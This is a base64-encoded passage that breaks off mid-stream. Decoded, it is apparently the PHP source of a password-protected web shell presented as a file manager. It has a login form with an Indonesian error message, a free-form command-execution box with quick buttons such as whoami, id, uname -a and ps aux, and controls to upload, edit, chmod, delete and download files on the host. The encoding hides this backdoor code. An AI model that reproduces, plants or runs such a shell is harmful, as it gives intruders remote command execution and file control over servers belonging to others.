Zy1lcnJvcic+UGFzc3dvcmQgU2FsYWgsIENvYmEgTGFnaSE8L2Rpdj4iOwogICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3MiIHBsYWNlaG9sZGVyPSJQYXNzd29yZCIgcmVxdWlyZWQgYXV0b2ZvY3VzPiA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJsb2dpbiIgdmFsdWU9IkxvZ2luIj48L2Zvcm0+JzsKICAgIGVjaG8gJzwvZGl2Pic7CiAgICByZW5kZXJfZm9vdGVyKHRydWUpOwp9CgpmdW5jdGlvbiByZW5kZXJfZWRpdG9yKCRwYXRoLCAkY29udGVudCkgewogICAgcmVuZGVyX2hlYWRlcigpOwogICAgZWNobyAnPGRpdiBpZD0ic3RhdHVzLW1lc3NhZ2UiIHN0eWxlPSJtYXJnaW4tYm90dG9tOiAxNXB4OyI+PC9kaXY+JzsKICAgIGVjaG8gJzxoMj5FZGl0IEZpbGU6ICcuYmFzZW5hbWUoJHBhdGgpLic8L2gyPic7CiAgICBlY2hvICc8Zm9ybSBpZD0iZWRpdG9yLWZvcm0iIG9uc3VibWl0PSJzYXZlRmlsZSgpOyByZXR1cm4gZmFsc2U7Ij4nOwogICAgZWNobyAnPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImZpbGUtcGF0aCIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkcGF0aCkuJyI+JzsKICAgIGVjaG8gJzx0ZXh0YXJlYSBpZD0iZmlsZS1jb250ZW50IiBzdHlsZT0id2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7Ij4nLmh0bWxlbnRpdGllcygkY29udGVudCkuJzwvdGV4dGFyZWE+PGJyPjxicj4nOwogICAgZWNobyAnPGJ1dHRvbiB0eXBlPSJzdWJtaXQiPlNhdmUgQ2hhbmdlczwvYnV0dG9uPic7CiAgICBlY2hvICcgPGEgaHJlZj0iP3BhdGg9Jy51cmxlbmNvZGUoZGlybmFtZSgkcGF0aCkpLiciPkJhY2sgdG8gTWFuYWdlcjwvYT4nOwogICAgZWNobyA8PDxKUwogICAgPHNjcmlwdD4KICAgIGZ1bmN0aW9uIHNhdmVGaWxlKCkgewogICAgICAgIGNvbnN0IHBhdGggPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmlsZS1wYXRoJykudmFsdWU7CiAgICAgICAgY29uc3QgY29udGVudCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaWxlLWNvbnRlbnQnKS52YWx1ZTsKICAgICAgICBjb25zdCBzdGF0dXNEaXYgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RhdHVzLW1lc3NhZ2UnKTsKCiAgICAgICAgc3RhdHVzRGl2LmNsYXNzTmFtZSA9ICdtZXNzYWdlJzsKICAgICAgICBzdGF0dXNEaXYuaW5uZXJUZXh0ID0gJ1NhdmluZy4uLic7CgogICAgICAgIGNvbnN0IGZvcm1EYXRhID0gbmV3IEZvcm1EYXRhKCk7CiAgICAgICAgZm9ybURhdGEuYXBwZW5kKCdhY3Rpb24nLCAnc2F2ZV9hamF4Jyk7CiAgICAgICAgZm9ybURhdGEuYXBwZW5kKCdwYXRoJywgcGF0aCk7CiAgICAgICAgZm9ybURhdGEuYXBwZW5kKCdjb250ZW50JywgY29udGVudCk7CgogICAgICAgIGZldGNoKHdpbmRvdy5sb2NhdGlvbi5ocmVmLCB7CiAgICAgICAgICAgIG1ldGhvZDogJ1BPU1QnLAogICAgICAgICAgICBib2R5OiBmb3JtRGF0YQogICAgICAgIH0pCiAgICAgICAgLnRoZW4ocmVzcG9uc2UgPT4gcmVzcG9uc2UuanNvbigpKQogICAgICAgIC50aGVuKGRhdGEgPT4gewogICAgICAgICAgICBzdGF0dXNEaXYuaW5uZXJUZXh0ID0gZGF0YS5tZXNzYWdlOwogICAgICAgICAgICBzdGF0dXNEaXYuY2xhc3NOYW1lID0gJ21lc3NhZ2UgJyArIChkYXRhLnN0YXR1cyA9PT0gJ3N1Y2Nlc3MnID8gJ21zZy1zdWNjZXNzJyA6ICdtc2ctZXJyb3InKTsKICAgICAgICB9KQogICAgICAgIC5jYXRjaChlcnJvciA9PiB7CiAgICAgICAgICAgIGNvbnNvbGUuZXJyb3IoJ0Vycm9yOicsIGVycm9yKTsKICAgICAgICAgICAgc3RhdHVzRGl2LmlubmVyVGV4dCA9ICdBbiB1bmV4cGVjdGVkIGVycm9yIG9jY3VycmVkLiBDaGVjayBjb25zb2xlIGZvciBkZXRhaWxzLic7CiAgICAgICAgICAgIHN0YXR1c0Rpdi5jbGFzc05hbWUgPSAnbWVzc2FnZSBtc2ctZXJyb3InOwogICAgICAgIH0pOwogICAgfQogICAgPC9zY3JpcHQ+CkpTOwogICAgcmVuZGVyX2Zvb3RlcigpOwp9CgpmdW5jdGlvbiByZW5kZXJfYnJlYWRjcnVtYnMoJHBhdGgpIHsKICAgICRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkcGF0aCk7CiAgICAkcGFydHMgPSBleHBsb2RlKCcvJywgdHJpbSgkcGF0aCwgJy8nKSk7CiAgICAkYnVpbHRfcGF0aCA9ICcnOwogICAgCiAgICBlY2hvICc8aDMgc3R5bGU9Im1hcmdpbi1ib3R0b206IDE1cHg7Ij5QYXRoOiAnOwogICAgZWNobyAnPGEgaHJlZj0iP3BhdGg9LyI+LzwvYT4nOwoKICAgIGZvcmVhY2ggKCRwYXJ0cyBhcyAkcGFydCkgewogICAgICAgIGlmIChlbXB0eSgkcGFydCkpIGNvbnRpbnVlOwogICAgICAgICRidWlsdF9wYXRoIC49ICcvJyAuICRwYXJ0OwogICAgICAgIGVjaG8gJzxhIGhyZWY9Ij9wYXRoPScgLiB1cmxlbmNvZGUoJGJ1aWx0X3BhdGgpIC4gJyI+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJHBhcnQpIC4gJzwvYT4vJzsKICAgIH0KICAgIGVjaG8gJzwvaDM+JzsKfQoKLy8gLS0tIE5FVzogQWR2YW5jZWQgVG9vbHMgUGFuZWwgLS0tCmZ1bmN0aW9uIHJlbmRlcl9hZHZhbmNlZF90b29scygkY3VycmVudF9wYXRoKSB7CiAgICBlY2hvICc8YnV0dG9uIGNsYXNzPSJ0YWItYnV0dG9uIGFjdGl2ZSIgb25jbGljaz0ic2hvd1RhYihcJ2ZpbGUtbWFuYWdlclwnKSI+8J+TgSBGaWxlIE1hbmFnZXI8L2J1dHRvbj4nOwogICAgZWNobyAnPGJ1dHRvbiBjbGFzcz0idGFiLWJ1dHRvbiIgb25jbGljaz0ic2hvd1RhYihcJ3N5c3RlbS10b29sc1wnKSI+4pqhIFN5c3RlbSBUb29sczwvYnV0dG9uPic7CiAgICAKICAgIGVjaG8gJzxkaXYgaWQ9InN5c3RlbS10b29scyIgY2xhc3M9InRhYi1jb250ZW50Ij4nOwogICAgZWNobyAnPGgzPuKaoSBTeXN0ZW0gSW5mb3JtYXRpb24gJiBDb21tYW5kczwvaDM+JzsKICAgIAogICAgLy8gQ3VycmVudCBwYXRoIGRpc3BsYXkKICAgIGVjaG8gJzxkaXYgY2xhc3M9ImN1cnJlbnQtcGF0aCI+8J+TjSBDdXJyZW50IERpcmVjdG9yeTogJyAuIGh0bWxzcGVjaWFsY2hhcnMoJGN1cnJlbnRfcGF0aCkgLiAnPC9kaXY+JzsKICAgIAogICAgZWNobyAnPGRpdiBjbGFzcz0idG9vbC1ncmlkIj4nOwogICAgCiAgICAvLyBTeXN0ZW0gSW5mbwogICAgZWNobyAnPGRpdiBjbGFzcz0idG9vbC1ib3giPic7CiAgICBlY2hvICc8aDQ+8J+TiiBTeXN0ZW0gSW5mbzwvaDQ+JzsKICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbW1hbmQtb3V0cHV0Ij4nLmh0bWxzcGVjaWFsY2hhcnMoZ2V0X3N5c3RlbV9pbmZvKCkpLic8L2Rpdj4nOwogICAgZWNobyAnPC9kaXY+JzsKICAgIAogICAgLy8gQ29tbWFuZCBFeGVjdXRpb24KICAgIGVjaG8gJzxkaXYgY2xhc3M9InRvb2wtYm94Ij4nOwogICAgZWNobyAnPGg0PvCfkrsgQ29tbWFuZCBFeGVjdXRpb248L2g0Pic7CiAgICAKICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNtZC1mb3JtIj4nOwogICAgZWNobyAnPGlucHV0IHR5cGU9InRleHQiIGlkPSJjdXN0b20tY21kIiBjbGFzcz0iY21kLWlucHV0IiBwbGFjZWhvbGRlcj0iRW50ZXIgY29tbWFuZCI+JzsKICAgIGVjaG8gJzxidXR0b24gY2xhc3M9ImNtZC1idXR0b24iIG9uY2xpY2s9ImV4ZWN1dGVDdXN0b21Db21tYW5kKCkiPkV4ZWN1dGU8L2J1dHRvbj4nOwogICAgZWNobyAnPC9kaXY+JzsKICAgIAogICAgZWNobyAnPGRpdiBjbGFzcz0icXVpY2stY21kLWJ1dHRvbnMiPic7CiAgICBlY2hvICc8YnV0dG9uIGNsYXNzPSJxdWljay1jbWQtYnRuIiBvbmNsaWNrPSJydW5RdWlja0NvbW1hbmQoXCdwd2RcJykiPnB3ZDwvYnV0dG9uPic7CiAgICBlY2hvICc8YnV0dG9uIGNsYXNzPSJxdWljay1jbWQtYnRuIiBvbmNsaWNrPSJydW5RdWlja0NvbW1hbmQoXCdscyAtbGFcJykiPmxzIC1sYTwvYnV0dG9uPic7CiAgICBlY2hvICc8YnV0dG9uIGNsYXNzPSJxdWljay1jbWQtYnRuIiBvbmNsaWNrPSJydW5RdWlja0NvbW1hbmQoXCd3aG9hbWlcJykiPndob2FtaTwvYnV0dG9uPic7CiAgICBlY2hvICc8YnV0dG9uIGNsYXNzPSJxdWljay1jbWQtYnRuIiBvbmNsaWNrPSJydW5RdWlja0NvbW1hbmQoXCdpZFwnKSI+aWQ8L2J1dHRvbj4nOwogICAgZWNobyAnPGJ1dHRvbiBjbGFzcz0icXVpY2stY21kLWJ0biIgb25jbGljaz0icnVuUXVpY2tDb21tYW5kKFwndW5hbWUgLWFcJykiPnVuYW1lIC1hPC9idXR0b24+JzsKICAgIGVjaG8gJzxidXR0b24gY2xhc3M9InF1aWNrLWNtZC1idG4iIG9uY2xpY2s9InJ1blF1aWNrQ29tbWFuZChcJ3BzIGF1eFwnKSI+cHMgYXV4PC9idXR0b24+JzsKICAgIGVjaG8gJzwvZGl2Pic7CiAgICAKICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbW1hbmQtb3V0cHV0IiBpZD0iY29tbWFuZC1vdXRwdXQiIHN0eWxlPSJtYXJnaW4tdG9wOjEwcHg7Ij5PdXRwdXQgd2lsbCBhcHBlYXIgaGVyZS4uLjwvZGl2Pic7CiAgICBlY2hvICc8L2Rpdj4nOwogICAgCiAgICBlY2hvICc8L2Rpdj4nOwogICAgZWNobyAnPC9kaXY+JzsKfQoKZnVuY3Rpb24gcmVuZGVyX2ZpbGVfbWFuYWdlcigkcGF0aCwgJGRpcl9saXN0LCAkbWVzc2FnZSA9ICcnKSB7CiAgICByZW5kZXJfaGVhZGVyKCk7CiAgICAKICAgIC8vIFNhdmUgY3VycmVudCBwYXRoIHRvIHNlc3Npb24gZm9yIHN5c3RlbSB0b29scwogICAgc2V0X3Nlc3Npb24oJ2N1cnJlbnRfcGF0aCcsICRwYXRoKTsKICAgIAogICAgLy8gQWR2YW5jZWQgVG9vbHMgVGFicwogICAgcmVuZGVyX2FkdmFuY2VkX3Rvb2xzKCRwYXRoKTsKICAgIAogICAgLy8gRmlsZSBNYW5hZ2VyIFRhYiAoZGVmYXVsdCBhY3RpdmUpCiAgICBlY2hvICc8ZGl2IGlkPSJmaWxlLW1hbmFnZXIiIGNsYXNzPSJ0YWItY29udGVudCBhY3RpdmUiPic7CiAgICAKICAgIGlmICgkbWVzc2FnZSkgewogICAgICAgICRtc2dfdHlwZSA9IHN0cnBvcyhzdHJ0b2xvd2VyKCRtZXNzYWdlKSwgJ2Vycm9yJykgPT09IGZhbHNlID8gJ21zZy1zdWNjZXNzJyA6ICdtc2ctZXJyb3InOwogICAgICAgIGVjaG8gIjxkaXYgY2xhc3M9J21lc3NhZ2UgJG1zZ190eXBlJz4iLmh0bWxzcGVjaWFsY2hhcnModXJsZGVjb2RlKCRtZXNzYWdlKSkuIjwvZGl2PiI7CiAgICB9CgogICAgLy8gQnJlYWRjcnVtYnMgJiBCYWNrCiAgICByZW5kZXJfYnJlYWRjcnVtYnMoJHBhdGgpOwoKICAgICRwYXJlbnRfcGF0aCA9IGRpcm5hbWUoJHBhdGgpOwogICAgaWYgKCRwYXJlbnRfcGF0aCAhPSAkcGF0aCkgewogICAgICAgIGVjaG8gJzxhIGhyZWY9Ij9wYXRoPScudXJsZW5jb2RlKCRwYXJlbnRfcGF0aCkuJyI+WyZsYXJyOyBCYWNrXTwvYT4gJzsKICAgIH0KICAgIGVjaG8gJzxhIGhyZWY9IicuZ2V0X3NlbGYoKS4nIj5bSG9tZV08L2E+ICc7CiAgICAKICAgIC8vIEFjdGlvbiBGb3JtcwogICAgZWNobyAnPGhyPjxoND5GaWxlIE9wZXJhdGlvbnM8L2g0Pic7CiAgICBlY2hvICc8ZGl2IHN0eWxlPSJkaXNwbGF5OmZsZXg7IGZsZXgtd3JhcDogd3JhcDsgZ2FwOiAyMHB4OyBhbGlnbi1pdGVtczogZmxleC1lbmQ7Ij4nOwogICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj48bGFiZWw+TmV3IEZpbGU6PC9sYWJlbD48YnI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZpbGVuYW1lIj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJuZXdmaWxlIiB2YWx1ZT0iQ3JlYXRlIj48L2Zvcm0+JzsKICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGxhYmVsPk5ldyBEaXI6PC9sYWJlbD48YnI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRpcm5hbWUiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5ld2RpciIgdmFsdWU9IkNyZWF0ZSI+PC9mb3JtPic7CiAgICBlY2hvICc8Zm9ybSBpZD0idXBsb2FkLWZvcm0iPjxsYWJlbD5VcGxvYWQgRmlsZTo8L2xhYmVsPjxicj48aW5wdXQgdHlwZT0iZmlsZSIgaWQ9ImZpbGUtaW5wdXQiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nOwogICAgZWNobyAnPC9kaXY+JzsKCiAgICAvLyBQcm9ncmVzcyBiYXIgYW5kIHN0YXR1cwogICAgZWNobyAnPGRpdiBpZD0idXBsb2FkLXN0YXR1cyIgc3R5bGU9Im1hcmdpbi10b3A6IDE1cHg7IGZvbnQtd2VpZ2h0OiBib2xkOyI+PC9kaXY+JzsKICAgIGVjaG8gJzxkaXYgc3R5bGU9IndpZHRoOiAxMDAlOyBiYWNrZ3JvdW5kLWNvbG9yOiAjZGRkOyBib3JkZXItcmFkaXVzOiA1cHg7IG1hcmdpbi10b3A6IDVweDsgZGlzcGxheTogbm9uZTsiIGlkPSJ1cGxvYWQtcHJvZ3Jlc3MtY29udGFpbmVyIj48ZGl2IGlkPSJ1cGxvYWQtcHJvZ3Jlc3MiIHN0eWxlPSJ3aWR0aDogMCU7IGhlaWdodDogMjRweDsgYmFja2dyb3VuZC1jb2xvcjogIzRDQUY1MDsgdGV4dC1hbGlnbjogY2VudGVyOyBjb2xvcjogd2hpdGU7IGJvcmRlci1yYWRpdXM6IDVweDsgbGluZS1oZWlnaHQ6IDI0cHg7Ij48L2Rpdj48L2Rpdj4nOwogICAgZWNobyAnPGhyPic7CgogICAgLy8gRmlsZSBMaXN0aW5nCiAgICBlY2hvICc8dGFibGU+PHRoZWFkPjx0cj48dGg+TmFtZTwvdGg+PHRoPlNpemU8L3RoPjx0aD5Nb2RpZmllZDwvdGg+PHRoPlBlcm1zPC90aD48dGg+T3duZXI8L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPjwvdGhlYWQ+PHRib2R5Pic7CiAgICBmb3JlYWNoICgkZGlyX2xpc3QgYXMgJGl0ZW0pIHsKICAgICAgICBlY2hvICc8dHI+JzsKICAgICAgICAkbGluayA9ICRpdGVtWydpc19kaXInXSAKICAgICAgICAgICAgPyAnP3BhdGg9Jy51cmxlbmNvZGUoJGl0ZW1bJ3BhdGgnXSkKICAgICAgICAgICAgOiAnP2VkaXQ9Jy51cmxlbmNvZGUoJGl0ZW1bJ3BhdGgnXSk7CiAgICAgICAgZWNobyAnPHRkPjxhIGhyZWY9IicuJGxpbmsuJyI+Jy4oJGl0ZW1bJ2lzX2RpciddID8gJ/Cfk4EnIDogJ/Cfk4QnKS4nICcuaHRtbHNwZWNpYWxjaGFycygkaXRlbVsnbmFtZSddKS4nPC9hPjwvdGQ+JzsKICAgICAgICBlY2hvICc8dGQ+Jy4kaXRlbVsnc2l6ZSddLic8L3RkPic7CiAgICAgICAgZWNobyAnPHRkPicuJGl0ZW1bJ21vZGlmaWVkJ10uJzwvdGQ+JzsKICAgICAgICBlY2hvICc8dGQ+Jy4kaXRlbVsncGVybXMnXS4nPC90ZD4nOwogICAgICAgIGVjaG8gJzx0ZD4nLiRpdGVtWydvd25lciddLic8L3RkPic7CiAgICAgICAgZWNobyAnPHRkIGNsYXNzPSJhY3Rpb25zIiBpZD0iYWN0aW9ucy0nLm1kNSgkaXRlbVsncGF0aCddKS4nIj4nOwogICAgICAgIGlmICgkaXRlbVsnbmFtZSddICE9ICcuLicpIHsKICAgICAgICAgICAgaWYgKCRpdGVtWydpc19maWxlJ10pIGVjaG8gJzxhIGhyZWY9Ij9lZGl0PScudXJsZW5jb2RlKCRpdGVtWydwYXRoJ10pLiciPkVkaXQ8L2E+ICc7CiAgICAgICAgICAgIGVjaG8gJzxhIGhyZWY9IiMiIG9uY2xpY2s9InNob3dSZW5hbWVGb3JtKFwnJy5odG1sc3BlY2lhbGNoYXJzKCRpdGVtWydwYXRoJ10pLidcJywgXCcnLmh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ25hbWUnXSkuJ1wnLCBcJycubWQ1KCRpdGVtWydwYXRoJ10pLidcJyk7IHJldHVybiBmYWxzZTsiPlJlbmFtZTwvYT4gJzsKICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iIyIgb25jbGljaz0ic2hvd0NobW9kRm9ybShcJycuaHRtbHNwZWNpYWxjaGFycygkaXRlbVsncGF0aCddKS4nXCcsIFwnJy5odG1sc3BlY2lhbGNoYXJzKCRpdGVtWydwZXJtcyddKS4nXCcsIFwnJy5tZDUoJGl0ZW1bJ3BhdGgnXSkuJ1wnKTsgcmV0dXJuIGZhbHNlOyI+Q2htb2Q8L2E+ICc7CiAgICAgICAgICAgIGVjaG8gJzxhIGhyZWY9Ij9kZWxldGU9Jy51cmxlbmNvZGUoJGl0ZW1bJ3BhdGgnXSkuJyIgb25jbGljaz0icmV0dXJuIGNvbmZpcm0oXCdBcmUgeW91IHN1cmU/XCcpOyI+RGVsZXRlPC9hPiAnOwogICAgICAgICAgICBpZiAoJGl0ZW1bJ2lzX2ZpbGUnXSkgZWNobyAnPGEgaHJlZj0iP2Rvd25sb2FkPScudXJsZW5jb2RlKCRpdGVtWydwYXRoJ10pLiciPkRvd25sb2FkPC9hPic7CiAgICAgICAgfQogICAgICAgIGVjaG8gJzwvdGQ+JzsKICAgICAgICBlY2hvICc8L3RyPic7CiAgICB9CiAgICBlY2hvICc8L3Rib2R5PjwvdGFibGU+JzsKICAgIGVjaG8gJzwvZGl2Pic7IC8vIENsb3NlIGZpbGUtbWFuYWdlciB0YWIKCiAgICBlY2hvIDw8PEpTCiAgICA8c2NyaXB0PgogICAgZnVuY3Rpb24gc2hvd1JlbmFtZUZvcm0ocGF0aCwgbmFtZSwgZWxlbWVudElkKSB7CiAgICAgICAgY29uc3QgYWN0aW9uc0NlbGwgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0aW9ucy0nICsgZWxlbWVudElkKTsKICAgICAgICBjb25zdCBvcmlnaW5hbENvbnRlbnQgPSBhY3Rpb25zQ2VsbC5pbm5lckhUTUw7CiAgICAgICAgCiAgICAgICAgY29uc3QgZm9ybSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2Zvcm0nKTsKICAgICAgICBmb3JtLmNsYXNzTmFtZSA9ICdyZW5hbWUtZm9ybSc7CiAgICAgICAgZm9ybS5tZXRob2QgPSAnUE9TVCc7CiAgICAgICAgZm9ybS5vbnN1Ym1pdCA9IGZ1bmN0aW9uKCkgewogICAgICAgICAgICBpZiAoIXRoaXMubmV3bmFtZS52YWx1ZS50cmltKCkpIHsKICAgICAgICAgICAgICAgIGFsZXJ0KCdQbGVhc2UgZW50ZXIgYSBuZXcgbmFtZScpOwogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH07CiAgICAgICAgCiAgICAgICAgY29uc3QgaW5wdXQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbnB1dCcpOwogICAgICAgIGlucHV0LnR5cGUgPSAnaGlkZGVuJzsKICAgICAgICBpbnB1dC5uYW1lID0gJ3JlbmFtZSc7CiAgICAgICAgaW5wdXQudmFsdWUgPSBwYXRoOwogICAgICAgIGZvcm0uYXBwZW5kQ2hpbGQoaW5wdXQpOwogICAgICAgIAogICAgICAgIGNvbnN0IG5hbWVJbnB1dCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2lucHV0Jyk7CiAgICAgICAgbmFtZUlucHV0LnR5cGUgPSAndGV4dCc7CiAgICAgICAgbmFtZUlucHV0Lm5hbWUgPSAnbmV3bmFtZSc7CiAgICAgICAgbmFtZUlucHV0LnZhbHVlID0gbmFtZTsKICAgICAgICBmb3JtLmFwcGVuZENoaWxkKG5hbWVJbnB1dCk7CiAgICAgICAgCiAgICAgICAgY29uc3Qgc3VibWl0ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnYnV0dG9uJyk7CiAgICAgICAgc3VibWl0LnR5cGUgPSAnc3VibWl0JzsKICAgICAgICBzdWJtaXQudGV4dENvbnRlbnQgPSAnU2F2ZSc7CiAgICAgICAgZm9ybS5hcHBlbmRDaGlsZChzdWJtaXQpOwogICAgICAgIAogICAgICAgIGNvbnN0IGNhbmNlbCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2J1dHRvbicpOwogICAgICAgIGNhbmNlbC50eXBlID0gJ2J1dHRvbic7CiAgICAgICAgY2FuY2VsLnRleHRDb250ZW50ID0gJ0NhbmNlbCc7CiAgICAgICAgY2FuY2VsLm9uY2xpY2sgPSBmdW5jdGlvbigpIHsKICAgICAgICAgICAgYWN0aW9uc0NlbGwuaW5uZXJIVE1MID0gb3JpZ2luYWxDb250ZW50OwogICAgICAgIH07CiAgICAgICAgZm9ybS5hcHBlbmRDaGlsZChjYW5jZWwpOwogICAgICAgIAogICAgICAgIGFjdGlvbnNDZWxsLmlubmVySFRNTCA9ICcnOwogICAgICAgIGFjdGlvbnNDZWxsLmFwcGVuZENoaWxkKGZvcm0pOwogICAgICAgIG5hbWVJbnB1dC5mb2N1cygpOwogICAgICAgIG5hbWVJbnB1dC5zZWxlY3QoKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzaG93Q2htb2RGb3JtKHBhdGgsIHBlcm1zLCBlbGVtZW50SWQpIHsKICAgICAgICBjb25zdCBhY3Rpb25zQ2VsbCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rpb25zLScgKyBlbGVtZW50SWQpOwogICAgICAgIGNvbnN0IG9yaWdpbmFsQ29udGVudCA9IGFjdGlvbnNDZWxsLmlubmVySFRNTDsKICAgICAgICAKICAgICAgICBjb25zdCBmb3JtID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZm9ybScpOwogICAgICAgIGZvcm0uY2xhc3NOYW1lID0gJ3JlbmFtZS1mb3JtJzsKICAgICAgICBmb3JtLm1ldGhvZCA9ICdQT1NUJzsKICAgICAgICAKICAgICAgICBjb25zdCBpbnB1dCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2lucHV0Jyk7CiAgICAgICAgaW5wdXQudHlwZSA9ICdoaWRkZW4nOwogICAgICAgIGlucHV0Lm5hbWUgPSAnY2htb2QnOwogICAgICAgIGlucHV0LnZhbHVlID0gcGF0aDsKICAgICAgICBmb3JtLmFwcGVuZENoaWxkKGlucHV0KTsKICAgICAgICAKICAgICAgICBjb25zdCBwZXJtSW5wdXQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbnB1dCcpOwogICAgICAgIHBlcm1JbnB1dC50eXBlID0gJ3RleHQnOwogICAgICAgIHBlcm1JbnB1dC5uYW1lID0gJ21vZGUnOwogICAgICAgIHBlcm1JbnB1dC52YWx1ZSA9IHBlcm1zOwogICAgICAgIHBlcm1JbnB1dC5zaXplID0gNDsKICAgICAgICBmb3JtLmFwcGVuZENoaWxkKHBlcm1JbnB1dCk7CiAgICAgICAgCiAgICAgICAgY29uc3Qgc3VibWl0ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnYnV0dG9uJyk7CiAgICAgICAgc3VibWl0LnR5cGUgPSAnc3VibWl0JzsKICAgICAgICBzdWJtaXQudGV4dENvbnRlbnQgPSAnU2V0JzsKICAgICAgICBmb3JtLmFwcGVuZENoaWxkKHN1Ym1pdCk7CiAgICAgICAgCiAgICAgICAgY29uc3QgY2FuY2VsID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnYnV0dG9uJyk7CiAgICAgICAgY2FuY2VsLnR5cGUgPSAnYnV0dG9uJzsKICAgICAgICBjYW5jZWwudGV4dENvbnRlbnQgPSAnQ2FuY2VsJzsKICAgICAgICBjYW5jZWwub25jbGljayA9IGZ1bmN0aW9uKCkgewogICAgICAgICAgICBhY3Rpb25zQ2VsbC5pbm5lckhUTUwgPSBvcmlnaW5hbENvbnRlbnQ7CiAgICAgICAgfTsKICAgICAgICBmb3JtLmFwcGVuZENoaWxkKGNhbmNlbCk7CiAgICAgICAgCiAgICAgICAgYWN0aW9uc0NlbGwuaW5uZXJIVE1MID0gJyc7CiAgICAgICAgYWN0aW9uc0NlbGwuYXBwZW5kQ2hpbGQoZm9ybSk7CiAgICAgICAgcGVybUlucHV0LmZvY3VzKCk7CiAgICAgICAgcGVybUlucHV0LnNlbGVjdCgpOwogICAgfQogICAgCiAgICBjb25zdCB1cGxvYWRGb3JtID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VwbG9hZC1mb3JtJyk7CiAgICBjb25zdCBmaWxlSW5wdXQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmlsZS1pbnB1dCcpOwogICAgY29uc3QgdXBsb2FkU3RhdHVzID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VwbG9hZC1zdGF0dXMnKTsKICAgIGNvbnN0IHByb2dyZXNzQmFyID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VwbG9hZC1wcm9ncmVzcycpOwogICAgY29uc3QgcHJvZ3Jlc3NDb250YWluZXIgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXBsb2FkLXByb2dyZXNzLWNvbnRhaW5lcicpOwoKICAgIHVwbG9hZEZvcm0uYWRkRXZlbnRMaXN0ZW5lcignc3VibWl0JywgZnVuY3Rpb24oZSkgewogICAgICAgIGUucHJldmVudERlZmF1bHQoKTsKICAgICAgICBjb25zdCBmaWxlID0gZmlsZUlucHV0LmZpbGVzWzBdOwogICAgICAgIGlmICghZmlsZSkgewogICAgICAgICAgICB1cGxvYWRTdGF0dXMuaW5uZXJUZXh0ID0gJ1BsZWFzZSBzZWxlY3QgYSBmaWxlIHRvIHVwbG9hZC4nOwogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQogICAgICAgIAogICAgICAgIHByb2dyZXNzQ29udGFpbmVyLnN0eWxlLmRpc3BsYXkgPSAnYmxvY2snOwogICAgICAgIGNvbnN0IENIVU5LX1NJWkUgPSAxMDI0ICogMTAyNDsKICAgICAgICBjb25zdCB0b3RhbENodW5rcyA9IE1hdGguY2VpbChmaWxlLnNpemUgLyBDSFVOS19TSVpFKTsKICAgICAgICBsZXQgY3VycmVudENodW5rID0gMDsKCiAgICAgICAgZnVuY3Rpb24gdXBsb2FkQ2h1bmsoKSB7CiAgICAgICAgICAgIGlmIChjdXJyZW50Q2h1bmsgPj0gdG90YWxDaHVua3MpIHsKICAgICAgICAgICAgICAgIHJldHVybjsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgY29uc3Qgc3RhcnQgPSBjdXJyZW50Q2h1bmsgKiBDSFVOS19TSVpFOwogICAgICAgICAgICBjb25zdCBlbmQgPSBNYXRoLm1pbihzdGFydCArIENIVU5LX1NJWkUsIGZpbGUuc2l6ZSk7CiAgICAgICAgICAgIGNvbnN0IGNodW5rID0gZmlsZS5zbGljZShzdGFydCwgZW5kKTsKICAgICAgICAgICAgCiAgICAgICAgICAgIGNvbnN0IGZvcm1EYXRhID0gbmV3IEZvcm1EYXRhKCk7CiAgICAgICAgICAgIGZvcm1EYXRhLmFwcGVuZCgnYWN0aW9uJywgJ3VwbG9hZF9jaHVuaycpOwogICAgICAgICAgICBmb3JtRGF0YS5hcHBlbmQoJ2No